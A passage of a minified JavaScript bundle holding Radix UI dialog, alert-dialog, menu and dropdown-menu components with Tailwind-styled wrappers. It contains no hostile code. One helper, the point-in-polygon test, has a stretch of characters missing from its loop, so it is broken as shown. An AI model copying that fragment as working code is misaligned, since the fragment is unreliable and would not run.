Yb(),E.jsxs(E.Fragment,{children:[E.jsx(Lh,{asChild:!0,loop:!0,trapped:r,onMountAutoFocus:i,onUnmountAutoFocus:l,children:E.jsx(Hc,{role:"dialog",id:u.contentId,"aria-describedby":u.descriptionId,"aria-labelledby":u.titleId,"data-state":nw(u.open),...c,ref:h,onDismiss:()=>u.onOpenChange(!1)})}),E.jsxs(E.Fragment,{children:[E.jsx(gse,{titleId:u.titleId}),E.jsx(bse,{contentRef:f,descriptionId:u.descriptionId})]})]})}),tw="DialogTitle",N3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(tw,n);return E.jsx(Ce.h2,{id:i.titleId,...r,ref:t})});N3.displayName=tw;var M3="DialogDescription",j3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(M3,n);return E.jsx(Ce.p,{id:i.descriptionId,...r,ref:t})});j3.displayName=M3;var P3="DialogClose",R3=v.forwardRef((e,t)=>{const{__scopeDialog:n,...r}=e,i=_r(P3,n);return E.jsx(Ce.button,{type:"button",...r,ref:t,onClick:ue(e.onClick,()=>i.onOpenChange(!1))})});R3.displayName=P3;function nw(e){return e?"open":"closed"}var D3="DialogTitleWarning",[vse,k3]=BB(D3,{contentName:bo,titleName:tw,docsSlug:"dialog"}),gse=({titleId:e})=>{const t=k3(D3),n=`\`${t.contentName}\` requires a \`${t.titleName}\` for the component to be accessible for screen reader users. - -If you want to hide the \`${t.titleName}\`, you can wrap it with our VisuallyHidden component. - -For more information, see https://radix-ui.com/primitives/docs/components/${t.docsSlug}`;return v.useEffect(()=>{e&&(document.getElementById(e)||console.error(n))},[n,e]),null},yse="DialogDescriptionWarning",bse=({contentRef:e,descriptionId:t})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${k3(yse).contentName}}.`;return v.useEffect(()=>{const i=e.current?.getAttribute("aria-describedby");t&&i&&(document.getElementById(t)||console.warn(r))},[r,e,t]),null},xse=w3,wse=O3,Sse=A3,Ose=C3,Ese=_3,Ase=N3,Cse=j3,L3=R3,_se=Symbol("radix.slottable");function Tse(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=_se,t}var I3="AlertDialog",[Nse]=Fn(I3,[x3]),$a=x3(),z3=e=>{const{__scopeAlertDialog:t,...n}=e,r=$a(t);return E.jsx(xse,{...r,...n,modal:!0})};z3.displayName=I3;var Mse="AlertDialogTrigger",$3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(wse,{...i,...r,ref:t})});$3.displayName=Mse;var jse="AlertDialogPortal",B3=e=>{const{__scopeAlertDialog:t,...n}=e,r=$a(t);return E.jsx(Sse,{...r,...n})};B3.displayName=jse;var Pse="AlertDialogOverlay",U3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Ose,{...i,...r,ref:t})});U3.displayName=Pse;var Ml="AlertDialogContent",[Rse,Dse]=Nse(Ml),kse=Tse("AlertDialogContent"),H3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,children:r,...i}=e,l=$a(n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return E.jsx(vse,{contentName:Ml,titleName:q3,docsSlug:"alert-dialog",children:E.jsx(Rse,{scope:n,cancelRef:f,children:E.jsxs(Ese,{role:"alertdialog",...l,...i,ref:u,onOpenAutoFocus:ue(i.onOpenAutoFocus,h=>{h.preventDefault(),f.current?.focus({preventScroll:!0})}),onPointerDownOutside:h=>h.preventDefault(),onInteractOutside:h=>h.preventDefault(),children:[E.jsx(kse,{children:r}),E.jsx(Ise,{contentRef:c})]})})})});H3.displayName=Ml;var q3="AlertDialogTitle",F3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Ase,{...i,...r,ref:t})});F3.displayName=q3;var V3="AlertDialogDescription",K3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(Cse,{...i,...r,ref:t})});K3.displayName=V3;var Lse="AlertDialogAction",Y3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,i=$a(n);return E.jsx(L3,{...i,...r,ref:t})});Y3.displayName=Lse;var G3="AlertDialogCancel",W3=v.forwardRef((e,t)=>{const{__scopeAlertDialog:n,...r}=e,{cancelRef:i}=Dse(G3,n),l=$a(n),c=De(t,i);return E.jsx(L3,{...l,...r,ref:c})});W3.displayName=G3;var Ise=({contentRef:e})=>{const t=`\`${Ml}\` requires a description for the component to be accessible for screen reader users. - -You can add a description to the \`${Ml}\` by passing a \`${V3}\` component as a child, which also benefits sighted users by adding visible context to the dialog. - -Alternatively, you can use your own component as a description by assigning it an \`id\` and passing the same value to the \`aria-describedby\` prop in \`${Ml}\`. If the description is confusing or duplicative for sighted users, you can use the \`@radix-ui/react-visually-hidden\` primitive as a wrapper around your description component. - -For more information, see https://radix-ui.com/primitives/docs/components/alert-dialog`;return v.useEffect(()=>{document.getElementById(e.current?.getAttribute("aria-describedby"))||console.warn(t)},[t,e]),null},zse=z3,$se=$3,Bse=B3,X3=U3,Z3=H3,Q3=Y3,J3=W3,ez=F3,tz=K3;const Use=zse,Hse=$se,qse=Bse,nz=v.forwardRef(({className:e,...t},n)=>E.jsx(X3,{className:Ee("fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));nz.displayName=X3.displayName;const rz=v.forwardRef(({className:e,...t},n)=>E.jsxs(qse,{children:[E.jsx(nz,{}),E.jsx(Z3,{ref:n,className:Ee("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...t})]}));rz.displayName=Z3.displayName;const az=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col space-y-2 text-center sm:text-left",e),...t});az.displayName="AlertDialogHeader";const iz=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});iz.displayName="AlertDialogFooter";const oz=v.forwardRef(({className:e,...t},n)=>E.jsx(ez,{ref:n,className:Ee("text-lg font-semibold",e),...t}));oz.displayName=ez.displayName;const lz=v.forwardRef(({className:e,...t},n)=>E.jsx(tz,{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));lz.displayName=tz.displayName;const sz=v.forwardRef(({className:e,...t},n)=>E.jsx(Q3,{ref:n,className:Ee(Vb(),e),...t}));sz.displayName=Q3.displayName;const cz=v.forwardRef(({className:e,...t},n)=>E.jsx(J3,{ref:n,className:Ee(Vb({variant:"outline"}),"mt-2 sm:mt-0",e),...t}));cz.displayName=J3.displayName;function Fse(e){const t=Vse(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(Yse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function Vse(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=Wse(i),u=Gse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var Kse=Symbol("radix.slottable");function Yse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===Kse}function Gse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function Wse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Ab=["Enter"," "],Xse=["ArrowDown","PageUp","Home"],uz=["ArrowUp","PageDown","End"],Zse=[...Xse,...uz],Qse={ltr:[...Ab,"ArrowRight"],rtl:[...Ab,"ArrowLeft"]},Jse={ltr:["ArrowLeft"],rtl:["ArrowRight"]},vu="Menu",[Bc,ece,tce]=Kb(vu),[To,fz]=Fn(vu,[tce,Fl,$p]),Hp=Fl(),dz=$p(),[nce,No]=To(vu),[rce,gu]=To(vu),hz=e=>{const{__scopeMenu:t,open:n=!1,children:r,dir:i,onOpenChange:l,modal:c=!0}=e,u=Hp(t),[f,h]=v.useState(null),p=v.useRef(!1),m=en(l),y=Kc(i);return v.useEffect(()=>{const x=()=>{p.current=!0,document.addEventListener("pointerdown",S,{capture:!0,once:!0}),document.addEventListener("pointermove",S,{capture:!0,once:!0})},S=()=>p.current=!1;return document.addEventListener("keydown",x,{capture:!0}),()=>{document.removeEventListener("keydown",x,{capture:!0}),document.removeEventListener("pointerdown",S,{capture:!0}),document.removeEventListener("pointermove",S,{capture:!0})}},[]),E.jsx(zb,{...u,children:E.jsx(nce,{scope:t,open:n,onOpenChange:m,content:f,onContentChange:h,children:E.jsx(rce,{scope:t,onClose:v.useCallback(()=>m(!1),[m]),isUsingKeyboardRef:p,dir:y,modal:c,children:r})})})};hz.displayName=vu;var ace="MenuAnchor",rw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx($b,{...i,...r,ref:t})});rw.displayName=ace;var aw="MenuPortal",[ice,pz]=To(aw,{forceMount:void 0}),mz=e=>{const{__scopeMenu:t,forceMount:n,children:r,container:i}=e,l=No(aw,t);return E.jsx(ice,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};mz.displayName=aw;var cr="MenuContent",[oce,iw]=To(cr),vz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:c.modal?E.jsx(lce,{...i,ref:t}):E.jsx(sce,{...i,ref:t})})})})}),lce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return Gb(l)},[]),E.jsx(ow,{...e,ref:i,trapFocus:n.open,disableOutsidePointerEvents:n.open,disableOutsideScroll:!0,onFocusOutside:ue(e.onFocusOutside,l=>l.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=>n.onOpenChange(!1)})}),sce=v.forwardRef((e,t)=>{const n=No(cr,e.__scopeMenu);return E.jsx(ow,{...e,ref:t,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=>n.onOpenChange(!1)})}),cce=Fse("MenuContent.ScrollLock"),ow=v.forwardRef((e,t)=>{const{__scopeMenu:n,loop:r=!1,trapFocus:i,onOpenAutoFocus:l,onCloseAutoFocus:c,disableOutsidePointerEvents:u,onEntryFocus:f,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,disableOutsideScroll:S,...w}=e,O=No(cr,n),A=gu(cr,n),_=Hp(n),T=dz(n),j=ece(n),[M,P]=v.useState(null),R=v.useRef(null),I=De(t,R,O.onContentChange),B=v.useRef(0),q=v.useRef(""),U=v.useRef(0),V=v.useRef(null),oe=v.useRef("right"),le=v.useRef(0),ce=S?zh:v.Fragment,L=S?{as:cce,allowPinchZoom:!0}:void 0,F=Z=>{const de=q.current+Z,D=j().filter(ee=>!ee.disabled),X=document.activeElement,ae=D.find(ee=>ee.ref.current===X)?.textValue,se=D.map(ee=>ee.textValue),me=wce(se,de,ae),xe=D.find(ee=>ee.textValue===me)?.ref.current;(function ee(_e){q.current=_e,window.clearTimeout(B.current),_e!==""&&(B.current=window.setTimeout(()=>ee(""),1e3))})(de),xe&&setTimeout(()=>xe.focus())};v.useEffect(()=>()=>window.clearTimeout(B.current),[]),Yb();const $=v.useCallback(Z=>oe.current===V.current?.side&&Oce(Z,V.current?.area),[]);return E.jsx(oce,{scope:n,searchRef:q,onItemEnter:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),onItemLeave:v.useCallback(Z=>{$(Z)||(R.current?.focus(),P(null))},[$]),onTriggerLeave:v.useCallback(Z=>{$(Z)&&Z.preventDefault()},[$]),pointerGraceTimerRef:U,onPointerGraceIntentChange:v.useCallback(Z=>{V.current=Z},[]),children:E.jsx(ce,{...L,children:E.jsx(Lh,{asChild:!0,trapped:i,onMountAutoFocus:ue(l,Z=>{Z.preventDefault(),R.current?.focus({preventScroll:!0})}),onUnmountAutoFocus:c,children:E.jsx(Hc,{asChild:!0,disableOutsidePointerEvents:u,onEscapeKeyDown:h,onPointerDownOutside:p,onFocusOutside:m,onInteractOutside:y,onDismiss:x,children:E.jsx(JI,{asChild:!0,...T,dir:A.dir,orientation:"vertical",loop:r,currentTabStopId:M,onCurrentTabStopIdChange:P,onEntryFocus:ue(f,Z=>{A.isUsingKeyboardRef.current||Z.preventDefault()}),preventScrollOnEntryFocus:!0,children:E.jsx(Bb,{role:"menu","aria-orientation":"vertical","data-state":Pz(O.open),"data-radix-menu-content":"",dir:A.dir,..._,...w,ref:I,style:{outline:"none",...w.style},onKeyDown:ue(w.onKeyDown,Z=>{const D=Z.target.closest("[data-radix-menu-content]")===Z.currentTarget,X=Z.ctrlKey||Z.altKey||Z.metaKey,ae=Z.key.length===1;D&&(Z.key==="Tab"&&Z.preventDefault(),!X&&ae&&F(Z.key));const se=R.current;if(Z.target!==se||!Zse.includes(Z.key))return;Z.preventDefault();const xe=j().filter(ee=>!ee.disabled).map(ee=>ee.ref.current);uz.includes(Z.key)&&xe.reverse(),bce(xe)}),onBlur:ue(e.onBlur,Z=>{Z.currentTarget.contains(Z.target)||(window.clearTimeout(B.current),q.current="")}),onPointerMove:ue(e.onPointerMove,Uc(Z=>{const de=Z.target,D=le.current!==Z.clientX;if(Z.currentTarget.contains(de)&&D){const X=Z.clientX>le.current?"right":"left";oe.current=X,le.current=Z.clientX}}))})})})})})})});vz.displayName=cr;var uce="MenuGroup",lw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"group",...r,ref:t})});lw.displayName=uce;var fce="MenuLabel",gz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{...r,ref:t})});gz.displayName=fce;var Sh="MenuItem",lM="menu.itemSelect",qp=v.forwardRef((e,t)=>{const{disabled:n=!1,onSelect:r,...i}=e,l=v.useRef(null),c=gu(Sh,e.__scopeMenu),u=iw(Sh,e.__scopeMenu),f=De(t,l),h=v.useRef(!1),p=()=>{const m=l.current;if(!n&&m){const y=new CustomEvent(lM,{bubbles:!0,cancelable:!0});m.addEventListener(lM,x=>r?.(x),{once:!0}),AM(m,y),y.defaultPrevented?h.current=!1:c.onClose()}};return E.jsx(yz,{...i,ref:f,disabled:n,onClick:ue(e.onClick,p),onPointerDown:m=>{e.onPointerDown?.(m),h.current=!0},onPointerUp:ue(e.onPointerUp,m=>{h.current||m.currentTarget?.click()}),onKeyDown:ue(e.onKeyDown,m=>{const y=u.searchRef.current!=="";n||y&&m.key===" "||Ab.includes(m.key)&&(m.currentTarget.click(),m.preventDefault())})})});qp.displayName=Sh;var yz=v.forwardRef((e,t)=>{const{__scopeMenu:n,disabled:r=!1,textValue:i,...l}=e,c=iw(Sh,n),u=dz(n),f=v.useRef(null),h=De(t,f),[p,m]=v.useState(!1),[y,x]=v.useState("");return v.useEffect(()=>{const S=f.current;S&&x((S.textContent??"").trim())},[l.children]),E.jsx(Bc.ItemSlot,{scope:n,disabled:r,textValue:i??y,children:E.jsx(e3,{asChild:!0,...u,focusable:!r,children:E.jsx(Ce.div,{role:"menuitem","data-highlighted":p?"":void 0,"aria-disabled":r||void 0,"data-disabled":r?"":void 0,...l,ref:h,onPointerMove:ue(e.onPointerMove,Uc(S=>{r?c.onItemLeave(S):(c.onItemEnter(S),S.defaultPrevented||S.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:ue(e.onPointerLeave,Uc(S=>c.onItemLeave(S))),onFocus:ue(e.onFocus,()=>m(!0)),onBlur:ue(e.onBlur,()=>m(!1))})})})}),dce="MenuCheckboxItem",bz=v.forwardRef((e,t)=>{const{checked:n=!1,onCheckedChange:r,...i}=e;return E.jsx(Ez,{scope:e.__scopeMenu,checked:n,children:E.jsx(qp,{role:"menuitemcheckbox","aria-checked":Oh(n)?"mixed":n,...i,ref:t,"data-state":cw(n),onSelect:ue(i.onSelect,()=>r?.(Oh(n)?!0:!n),{checkForDefaultPrevented:!1})})})});bz.displayName=dce;var xz="MenuRadioGroup",[hce,pce]=To(xz,{value:void 0,onValueChange:()=>{}}),wz=v.forwardRef((e,t)=>{const{value:n,onValueChange:r,...i}=e,l=en(r);return E.jsx(hce,{scope:e.__scopeMenu,value:n,onValueChange:l,children:E.jsx(lw,{...i,ref:t})})});wz.displayName=xz;var Sz="MenuRadioItem",Oz=v.forwardRef((e,t)=>{const{value:n,...r}=e,i=pce(Sz,e.__scopeMenu),l=n===i.value;return E.jsx(Ez,{scope:e.__scopeMenu,checked:l,children:E.jsx(qp,{role:"menuitemradio","aria-checked":l,...r,ref:t,"data-state":cw(l),onSelect:ue(r.onSelect,()=>i.onValueChange?.(n),{checkForDefaultPrevented:!1})})})});Oz.displayName=Sz;var sw="MenuItemIndicator",[Ez,mce]=To(sw,{checked:!1}),Az=v.forwardRef((e,t)=>{const{__scopeMenu:n,forceMount:r,...i}=e,l=mce(sw,n);return E.jsx(ln,{present:r||Oh(l.checked)||l.checked===!0,children:E.jsx(Ce.span,{...i,ref:t,"data-state":cw(l.checked)})})});Az.displayName=sw;var vce="MenuSeparator",Cz=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e;return E.jsx(Ce.div,{role:"separator","aria-orientation":"horizontal",...r,ref:t})});Cz.displayName=vce;var gce="MenuArrow",_z=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx(Ub,{...i,...r,ref:t})});_z.displayName=gce;var yce="MenuSub",[Bue,Tz]=To(yce),vc="MenuSubTrigger",Nz=v.forwardRef((e,t)=>{const n=No(vc,e.__scopeMenu),r=gu(vc,e.__scopeMenu),i=Tz(vc,e.__scopeMenu),l=iw(vc,e.__scopeMenu),c=v.useRef(null),{pointerGraceTimerRef:u,onPointerGraceIntentChange:f}=l,h={__scopeMenu:e.__scopeMenu},p=v.useCallback(()=>{c.current&&window.clearTimeout(c.current),c.current=null},[]);return v.useEffect(()=>p,[p]),v.useEffect(()=>{const m=u.current;return()=>{window.clearTimeout(m),f(null)}},[u,f]),E.jsx(rw,{asChild:!0,...h,children:E.jsx(yz,{id:i.triggerId,"aria-haspopup":"menu","aria-expanded":n.open,"aria-controls":i.contentId,"data-state":Pz(n.open),...e,ref:ja(t,i.onTriggerChange),onClick:m=>{e.onClick?.(m),!(e.disabled||m.defaultPrevented)&&(m.currentTarget.focus(),n.open||n.onOpenChange(!0))},onPointerMove:ue(e.onPointerMove,Uc(m=>{l.onItemEnter(m),!m.defaultPrevented&&!e.disabled&&!n.open&&!c.current&&(l.onPointerGraceIntentChange(null),c.current=window.setTimeout(()=>{n.onOpenChange(!0),p()},100))})),onPointerLeave:ue(e.onPointerLeave,Uc(m=>{p();const y=n.content?.getBoundingClientRect();if(y){const x=n.content?.dataset.side,S=x==="right",w=S?-5:5,O=y[S?"left":"right"],A=y[S?"right":"left"];l.onPointerGraceIntentChange({area:[{x:m.clientX+w,y:m.clientY},{x:O,y:y.top},{x:A,y:y.top},{x:A,y:y.bottom},{x:O,y:y.bottom}],side:x}),window.clearTimeout(u.current),u.current=window.setTimeout(()=>l.onPointerGraceIntentChange(null),300)}else{if(l.onTriggerLeave(m),m.defaultPrevented)return;l.onPointerGraceIntentChange(null)}})),onKeyDown:ue(e.onKeyDown,m=>{const y=l.searchRef.current!=="";e.disabled||y&&m.key===" "||Qse[r.dir].includes(m.key)&&(n.onOpenChange(!0),n.content?.focus(),m.preventDefault())})})})});Nz.displayName=vc;var Mz="MenuSubContent",jz=v.forwardRef((e,t)=>{const n=pz(cr,e.__scopeMenu),{forceMount:r=n.forceMount,...i}=e,l=No(cr,e.__scopeMenu),c=gu(cr,e.__scopeMenu),u=Tz(Mz,e.__scopeMenu),f=v.useRef(null),h=De(t,f);return E.jsx(Bc.Provider,{scope:e.__scopeMenu,children:E.jsx(ln,{present:r||l.open,children:E.jsx(Bc.Slot,{scope:e.__scopeMenu,children:E.jsx(ow,{id:u.contentId,"aria-labelledby":u.triggerId,...i,ref:h,align:"start",side:c.dir==="rtl"?"left":"right",disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:p=>{c.isUsingKeyboardRef.current&&f.current?.focus(),p.preventDefault()},onCloseAutoFocus:p=>p.preventDefault(),onFocusOutside:ue(e.onFocusOutside,p=>{p.target!==u.trigger&&l.onOpenChange(!1)}),onEscapeKeyDown:ue(e.onEscapeKeyDown,p=>{c.onClose(),p.preventDefault()}),onKeyDown:ue(e.onKeyDown,p=>{const m=p.currentTarget.contains(p.target),y=Jse[c.dir].includes(p.key);m&&y&&(l.onOpenChange(!1),u.trigger?.focus(),p.preventDefault())})})})})})});jz.displayName=Mz;function Pz(e){return e?"open":"closed"}function Oh(e){return e==="indeterminate"}function cw(e){return Oh(e)?"indeterminate":e?"checked":"unchecked"}function bce(e){const t=document.activeElement;for(const n of e)if(n===t||(n.focus(),document.activeElement!==t))return}function xce(e,t){return e.map((n,r)=>e[(t+r)%e.length])}function wce(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=xce(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function Sce(e,t){const{x:n,y:r}=e;let i=!1;for(let l=0,c=t.length-1;lr!=y>r&&n<(m-h)*(r-p)/(y-p)+h&&(i=!i)}return i}function Oce(e,t){if(!t)return!1;const n={x:e.clientX,y:e.clientY};return Sce(n,t)}function Uc(e){return t=>t.pointerType==="mouse"?e(t):void 0}var Ece=hz,Ace=rw,Cce=mz,_ce=vz,Tce=lw,Nce=gz,Mce=qp,jce=bz,Pce=wz,Rce=Oz,Dce=Az,kce=Cz,Lce=_z,Ice=Nz,zce=jz,Fp="DropdownMenu",[$ce]=Fn(Fp,[fz]),mn=fz(),[Bce,Rz]=$ce(Fp),Dz=e=>{const{__scopeDropdownMenu:t,children:n,dir:r,open:i,defaultOpen:l,onOpenChange:c,modal:u=!0}=e,f=mn(t),h=v.useRef(null),[p,m]=Oa({prop:i,defaultProp:l??!1,onChange:c,caller:Fp});return E.jsx(Bce,{scope:t,triggerId:sr(),triggerRef:h,contentId:sr(),open:p,onOpenChange:m,onOpenToggle:v.useCallback(()=>m(y=>!y),[m]),modal:u,children:E.jsx(Ece,{...f,open:p,onOpenChange:m,dir:r,modal:u,children:n})})};Dz.displayName=Fp;var kz="DropdownMenuTrigger",Lz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,disabled:r=!1,...i}=e,l=Rz(kz,n),c=mn(n);return E.jsx(Ace,{asChild:!0,...c,children:E.jsx(Ce.button,{type:"button",id:l.triggerId,"aria-haspopup":"menu","aria-expanded":l.open,"aria-controls":l.open?l.contentId:void 0,"data-state":l.open?"open":"closed","data-disabled":r?"":void 0,disabled:r,...i,ref:ja(t,l.triggerRef),onPointerDown:ue(e.onPointerDown,u=>{!r&&u.button===0&&u.ctrlKey===!1&&(l.onOpenToggle(),l.open||u.preventDefault())}),onKeyDown:ue(e.onKeyDown,u=>{r||(["Enter"," "].includes(u.key)&&l.onOpenToggle(),u.key==="ArrowDown"&&l.onOpenChange(!0),["Enter"," ","ArrowDown"].includes(u.key)&&u.preventDefault())})})})});Lz.displayName=kz;var Uce="DropdownMenuPortal",Iz=e=>{const{__scopeDropdownMenu:t,...n}=e,r=mn(t);return E.jsx(Cce,{...r,...n})};Iz.displayName=Uce;var zz="DropdownMenuContent",$z=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=Rz(zz,n),l=mn(n),c=v.useRef(!1);return E.jsx(_ce,{id:i.contentId,"aria-labelledby":i.triggerId,...l,...r,ref:t,onCloseAutoFocus:ue(e.onCloseAutoFocus,u=>{c.current||i.triggerRef.current?.focus(),c.current=!1,u.preventDefault()}),onInteractOutside:ue(e.onInteractOutside,u=>{const f=u.detail.originalEvent,h=f.button===0&&f.ctrlKey===!0,p=f.button===2||h;(!i.modal||p)&&(c.current=!0)}),style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});$z.displayName=zz;var Hce="DropdownMenuGroup",qce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Tce,{...i,...r,ref:t})});qce.displayName=Hce;var Fce="DropdownMenuLabel",Bz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Nce,{...i,...r,ref:t})});Bz.displayName=Fce;var Vce="DropdownMenuItem",Uz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Mce,{...i,...r,ref:t})});Uz.displayName=Vce;var Kce="DropdownMenuCheckboxItem",Hz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(jce,{...i,...r,ref:t})});Hz.displayName=Kce;var Yce="DropdownMenuRadioGroup",Gce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Pce,{...i,...r,ref:t})});Gce.displayName=Yce;var Wce="DropdownMenuRadioItem",qz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Rce,{...i,...r,ref:t})});qz.displayName=Wce;var Xce="DropdownMenuItemIndicator",Fz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Dce,{...i,...r,ref:t})});Fz.displayName=Xce;var Zce="DropdownMenuSeparator",Vz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(kce,{...i,...r,ref:t})});Vz.displayName=Zce;var Qce="DropdownMenuArrow",Jce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Lce,{...i,...r,ref:t})});Jce.displayName=Qce;var eue="DropdownMenuSubTrigger",Kz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Ice,{...i,...r,ref:t})});Kz.displayName=eue;var tue="DropdownMenuSubContent",Yz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(zce,{...i,...r,ref:t,style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Yz.displayName=tue;var nue=Dz,rue=Lz,aue=Iz,Gz=$z,Wz=Bz,Xz=Uz,Zz=Hz,Qz=qz,Jz=Fz,e5=Vz,t5=Kz,n5=Yz;const iue=nue,oue=rue,lue=v.forwardRef(({className:e,inset:t,children:n,...r},i)=>E.jsxs(t5,{ref:i,className:Ee("flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...r,children:[n,E.jsx(j6,{className:"ml-auto"})]}));lue.displayName=t5.displayName;const sue=v.forwardRef(({className:e,...t},n)=>E.jsx(n5,{ref:n,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 